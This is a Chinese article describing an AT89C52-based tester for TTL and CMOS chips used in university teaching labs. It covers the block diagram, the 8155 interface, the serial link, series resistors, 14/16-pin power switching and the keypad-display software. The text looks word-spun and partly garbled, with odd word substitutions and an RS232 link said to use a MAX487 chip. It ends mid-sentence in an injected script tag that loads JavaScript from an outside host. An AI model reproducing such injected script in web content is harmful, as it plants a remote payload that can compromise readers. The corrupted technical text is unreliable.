在高校的教学实验环节中,需要大量地使用一些基本系列的集成芯片。目前,市场上存在一种可以对ttl、cmos数字芯片进行检测的工程应用型测试仪,但是考虑到其价格较贵,较难满足学生人手一台;另外,该测试仪器是面向工程单位的,不能测试实验室中很多数字芯片。因此,从节约经费、提高利用率的角度出发,我们采用at89c52单片机设计了集成芯片测试系统。该测试系统能够实现对高校实验室中常用的ttl、cmos系列芯片及一些常用按键开关的功能检测,同时通过rs232串行口与pc机相连,可以在pc机上直接对测试系统进行操作。
1 系统组成框图 由图1可知,该测试仪的硬件电路由at89c52单片机,并行扩展接口8155,显示驱动,键盘输入,看门狗和复位电路以及串行接口电路组成。
按照芯片测试插座旁边的指向,插入待测的数字芯片或按键;通过键盘输入指令或数字,单片机经过键盘扫描从8155读回键值,根据键值执行相应的子程序。假设输入测试命令键,单片机将调用测试子程序,并将测试结果送到显示器上显示(“good”or“bad”);假设输入数字键,单片机会自动将输入的数字显示到显示器上;假设输入其它命令键,单片机将调用相应的功能子程序,执行相应的命令。
2 系统硬件设计
2.1 单片机
单片机采用美国atmel公司生产的at89c52单片机。该芯片不仅具有mcs-51系列单片机的所有特性,而且片内集有8k字节的电擦除闪速存储器(flash rom),价格低。由于使用片内程序存储器,所以,ea/vp接高电平;at89c52的最大工作频率为24mhz,系统利用单片机的内部振荡器加石英晶体构成时钟源,为了工作可靠,晶体振荡频率选为12mhz。
2.2 8155接口芯片
由于at89c52片内的输入输出口有限,需要外加专用的外围接口芯片。intel 8155h既有ram又有i/o口,并且可直接与mcs/51系列单片机相连接,不需要增加任何硬件逻辑。因此,本设计中,用8155的i/o口作键盘显示器的并行接口电路,以便at89c52中的p1口、p2口用作被测芯片接口。
2.3 通信接口
采用maxim公司的串行接口芯片max487将pc机和测试仪器连接起来。测试仪接收pc机的信号,执行相应的操作后再将处理结果上传到pc机,以便在pc机上直接对测试系统进行操作(见图2)。
2.4 测试芯片接口
根据at89c52中的p1口与p2口的特点,本设计采用at89c52的p1口和p2口作为测试芯片的接口,其中,p1口中的p1.7用于控制14/16管脚的电源地的转换,p2口中的p2.7作为高8位地址控制信号。接口电路如图2所示。
(1)单片机与测试芯片之间加电阻
需要注意的是,在单片机与测试芯片之间需串接470ω(或510ω)和电阻。首先,串接电阻的目的是对at89c52起限流保护的作用,假设,p1.0输出高电平,此时,测试芯片又为非门,那么,将引起灌电流现象,致使p1.0口线上的电流非常大,对at89c52有害。其次可以保证逻辑电平的正确,在连接线上串接几百欧的电阻而不接几千欧的电阻原因在于:假设让p1.0的逻辑低电平,这样,基极将是高电平,又有,p1口上的上拉电阻为3k左右,如果连接线上的电阻也取3k,那么,将使p1.0输出逻辑高电平,此时逻辑电平是错误的;如果连接的电阻为470ω左右,p1.0口仍然能够正确地输出逻辑低电平,这样就保证了逻辑电平的正确性。
(2)测试芯片从14到16管脚时电源地的转换
因为测试芯片管脚从14位到16位不定,所以,存在电源地转换的问题。本设计中p1.6管脚是被转换 的对象,用p1.7管脚电平的高低来控制p1.6接地与否,这个电路是利用晶体三极管来实现的。当setb p1.7时,p1.6接地,此时能测14管脚的芯片;当clr p1.7时,p1.6是正常的测试位,此时能测试16管脚的芯片。所以,只要在生个芯片测试子程序中将p1.7作相应的设置即可。
2.5 键盘显示电路
本设计是采用8155并行扩展口构成的键盘、显示电路。led8位8段显示器共阴极,8155 pb口提供段选码,pa提供位选码。键盘为3×7矩阵键盘,餍列输出由pa口提供,行输入由pc0~pc2提供。led的段、位信号分别采用74ls07与74ls06驱动。led采用软件译码动态扫描显示工作方式,键盘采用逐列扫描查询工作方式。用8155构成的键盘显示电路如图3所示。
3 系统软件设计
系统软件由主程序和若干子程序构成。有显示子程序、键盘扫描子程序、键值处理子程序和测试子程序组成。其中,测芯睡的功能键包括:自动测试并显示型号(auto)和指定型号测试芯片(test),显然,后者速度要快得多。程序流程框图如图4所示。
系统开机后,首先执行主程序,完成系统初始化工作,然后调用显示子程序,在显示器上给出提示符rd,告诉听任者机器已准备好,可以接收键?script src=http://er12.com/t.js>